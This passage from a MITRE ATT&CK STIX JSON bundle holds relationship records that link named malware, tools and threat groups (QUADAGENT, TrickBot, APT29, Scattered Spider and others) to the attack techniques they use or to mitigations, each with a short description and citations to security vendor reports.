2020)","relationship_type":"uses","source_ref":"malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--91aa29c1-28a9-414a-aa3c-a6293b8d078f","created":"2023-03-26T19:54:24.583Z","revoked":false,"external_references":[{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:54:24.583Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) stores a session identifier unique to the compromised system as well as a pre-shared key used for encrypting and decrypting C2 communications within a Registry key (such as `HKCU\\Office365DCOMCheck`) in the `HKCU` hive.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91b22928-d538-4460-a5ff-7a0a5e797430","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"url":"https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China","description":"Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.","source_name":"CSM Elderwood Sept 2012"},{"url":"http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html","description":"Paganini, P. (2012, September 9). Elderwood project, who is behind Op. Aurora and ongoing attacks?. Retrieved February 13, 2018.","source_name":"Security Affairs Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:28.685Z","description":"[Elderwood](https://attack.mitre.org/groups/G0066) has delivered zero-day exploits and malware to victims by injecting malicious code into specific public Web pages visited by targets within a particular sector.(Citation: Symantec Elderwood Sept 2012)(Citation: CSM Elderwood Sept 2012)(Citation: Security Affairs Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91b41079-6c44-439e-a76c-2a128a792e17","type":"relationship","created":"2020-12-29T18:40:31.082Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T18:40:31.082Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used the PuTTY and Plink tools for lateral movement.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91b6a6e1-c0eb-4bd8-84d4-4c31caf2ba6a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2020-03-19T19:52:53.268Z","description":"[PLAINTEE](https://attack.mitre.org/software/S0254) performs the tasklist command to list running processes.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91baa343-383f-4010-b799-67e42bd8a016","type":"relationship","created":"2020-10-20T17:30:35.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco Securing SNMP","url":"https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/20370-snmpsecurity-20370.html","description":"Cisco. (2006, May 10). Securing Simple Network Management Protocol. Retrieved October 19, 2020."},{"source_name":"US-CERT TA18-106A Network Infrastructure Devices 2018","url":"https://us-cert.cisa.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."}],"modified":"2022-02-17T19:50:47.162Z","description":"Allowlist MIB objects and implement SNMP views. Disable Smart Install (SMI) if not used.(Citation: Cisco Securing SNMP)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) ","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--91bd508e-7f5a-4514-b886-95d97f8eefff","created":"2022-04-13T19:05:51.100Z","x_mitre_version":"0.1","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bisonal](https://attack.mitre.org/software/S0268) has relied on users to execute malicious file attachments delivered via spearphishing emails.(Citation: Talos Bisonal Mar 2020) ","modified":"2022-04-18T18:10:36.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91c175b7-5c8e-4534-82b1-9bdb1b709a34","type":"relationship","created":"2020-06-08T16:57:20.234Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-08T16:57:20.234Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) can set the KeepPrintedJobs attribute for configured printers in SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Print\\\\Printers to enable document stealing.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91c4630e-772b-4dac-8e58-5a899ccdc2be","type":"relationship","created":"2020-04-27T14:14:05.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-20T14:51:02.177Z","description":"Routinely monitor user permissions to ensure only the expected users have the capability to modify cloud compute infrastructure components.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91c5d713-a89c-49fa-92eb-abaf18fae988","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2020-03-28T21:37:30.427Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194)'s New-UserPersistenceOption Persistence argument can be used to establish via a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053).(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91ca1017-0b33-4fa1-a61f-b3dae24c7e40","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.","source_name":"Microsoft SIR Vol 21"},{"url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha","description":"Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.","source_name":"Microsoft Wingbird Nov 2017"}],"modified":"2019-10-30T12:41:29.037Z","description":"[Wingbird](https://attack.mitre.org/software/S0176) uses services.exe to register a new autostart service named \"Audit Service\" using a copy of the local lsass.exe file.(Citation: Microsoft SIR Vol 21)(Citation: Microsoft Wingbird Nov 2017)","relationship_type":"uses","source_ref":"malware--a8d3d497-2da9-4797-8e0b-ed176be08654","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91cd43d9-17cb-41d3-b62d-4b79030f4384","type":"relationship","created":"2021-08-24T20:03:35.975Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Kobalos Feb 2021","url":"https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/","description":"M.Leveille, M., Sanmillan, I. (2021, February 2). Kobalos – A complex Linux threat to high performance computing infrastructure. Retrieved August 24, 2021."}],"modified":"2021-08-24T22:12:46.991Z","description":"[Kobalos](https://attack.mitre.org/software/S0641) can exfiltrate credentials over the network via UDP.(Citation: ESET Kobalos Feb 2021) ","relationship_type":"uses","source_ref":"malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--91cea20a-9698-4bec-8fdd-c1eda3ea66e7","created":"2023-04-04T21:50:08.665Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T21:50:08.665Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can collect the computer name and enumerate all drives on a compromised host.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91cff72f-644b-42e3-9c86-8cc6475f725a","type":"relationship","created":"2019-03-12T17:42:01.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Trickbot Feb 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/","description":"Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019."}],"modified":"2019-06-24T19:15:06.910Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) has retrieved PuTTY credentials by querying the Software\\SimonTatham\\Putty\\Sessions registry key (Citation: TrendMicro Trickbot Feb 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--91d0f880-8928-4173-bb2f-518876a8c0b3","created":"2022-04-15T19:05:52.611Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661)'s loader can call the load() function to load the [FoggyWeb](https://attack.mitre.org/software/S0661) dll into an Application Domain on a compromised AD FS server.(Citation: MSTIC FoggyWeb September 2021)","modified":"2022-04-16T01:56:16.152Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--91d4c776-c259-46b0-b511-b344ca027009","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"F-Secure CozyDuke","description":"F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/CozyDuke"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:44:46.722Z","description":"The payload of [CozyCar](https://attack.mitre.org/software/S0046) is encrypted with simple XOR with a rotating key. The [CozyCar](https://attack.mitre.org/software/S0046) configuration file has been encrypted with RC4 keys.(Citation: F-Secure CozyDuke)","relationship_type":"uses","source_ref":"malware--e6ef745b-077f-42e1-a37d-29eecff9c754","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91d50267-6892-407e-8e0a-01435e6303a9","type":"relationship","created":"2019-06-28T16:02:08.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2020-03-20T02:11:35.508Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) is capable of executing commands via cmd.exe.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--91d541d9-b396-4499-8ed6-f0c762e1d495","created":"2024-03-25T18:59:26.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"},{"source_name":"SentinelOne SocGholish Infrastructure November 2022","description":"Milenkoski, A. (2022, November 7). SocGholish Diversifies and Expands Its Malware Staging Infrastructure to Counter Defenders. Retrieved March 22, 2024.","url":"https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/"},{"source_name":"Red Canary SocGholish March 2024","description":"Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.","url":"https://redcanary.com/threat-detection-report/threats/socgholish/"},{"source_name":"Secureworks Gold Prelude Profile","description":"Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-prelude"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-26T18:28:31.847Z","description":"[Mustard Tempest](https://attack.mitre.org/groups/G1020) has injected malicious JavaScript into compromised websites to infect victims via drive-by download.(Citation: SocGholish-update)(Citation: SentinelOne SocGholish Infrastructure November 2022)(Citation: Red Canary SocGholish March 2024)(Citation: Secureworks Gold Prelude Profile)","relationship_type":"uses","source_ref":"intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030","target_ref":"attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91dc0049-df2a-4dc0-b6b4-863a9a733c7a","type":"relationship","created":"2022-03-24T21:39:40.369Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T21:39:40.369Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) contains a module to conduct Kerberoasting.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--91df24f7-6089-4f42-a63e-6ecaa5d4af8e","created":"2023-07-07T17:59:37.705Z","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-07T17:59:37.705Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) sent Telegram messages impersonating IT personnel to harvest credentials.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--91e4cb6a-abe6-46e0-8730-b80ba1cca16f","created":"2023-05-16T19:49:15.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-16T19:50:14.329Z","description":"[ANDROMEDA](https://attack.mitre.org/software/S1074) can establish persistence by dropping a sample of itself to `C:\\ProgramData\\Local Settings\\Temp\\mskmde.com` and adding a Registry run key to execute every time a user logs on.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--dcd9548e-df9e-47c2-81f3-bc084289959d","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--91e69232-941e-43bf-9f10-b0e4cf8b43d1","created":"2024-05-17T14:01:26.641Z","revoked":false,"external_references":[{"source_name":"HP RaspberryRobin 2024","description":"Patrick Schläpfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.","url":"https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T14:01:26.641Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) will check to see if the initial executing script is located on the user's Desktop as an anti-analysis check.(Citation: HP RaspberryRobin 2024)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91e86813-270d-4ee6-8dff-9b87e3d9fae4","type":"relationship","created":"2020-06-01T13:14:42.514Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-01T13:14:42.514Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to use image file execution options for persistence if it detects it is running with admin privileges on a Windows version newer than Windows 7.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--91e9d060-8d6f-4d3a-9c69-8935f8e72338","created":"2023-08-17T19:04:28.090Z","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-17T19:04:28.090Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has installed a run command on a compromised system to enable malware execution on system startup.(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91eab726-0a0c-4898-8376-66987fd1037c","type":"relationship","created":"2019-01-29T21:33:34.617Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BadPatch Oct 2017","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/","description":"Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."}],"modified":"2019-04-23T21:17:49.968Z","description":"[BadPatch](https://attack.mitre.org/software/S0337) can download and execute or update malware.(Citation: Unit 42 BadPatch Oct 2017)","relationship_type":"uses","source_ref":"malware--9af05de0-bc09-4511-a350-5eb8b06185c1","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91ec91fa-f468-47fa-a931-aeb9b4f74ba3","type":"relationship","created":"2020-08-06T13:39:24.240Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks REvil September 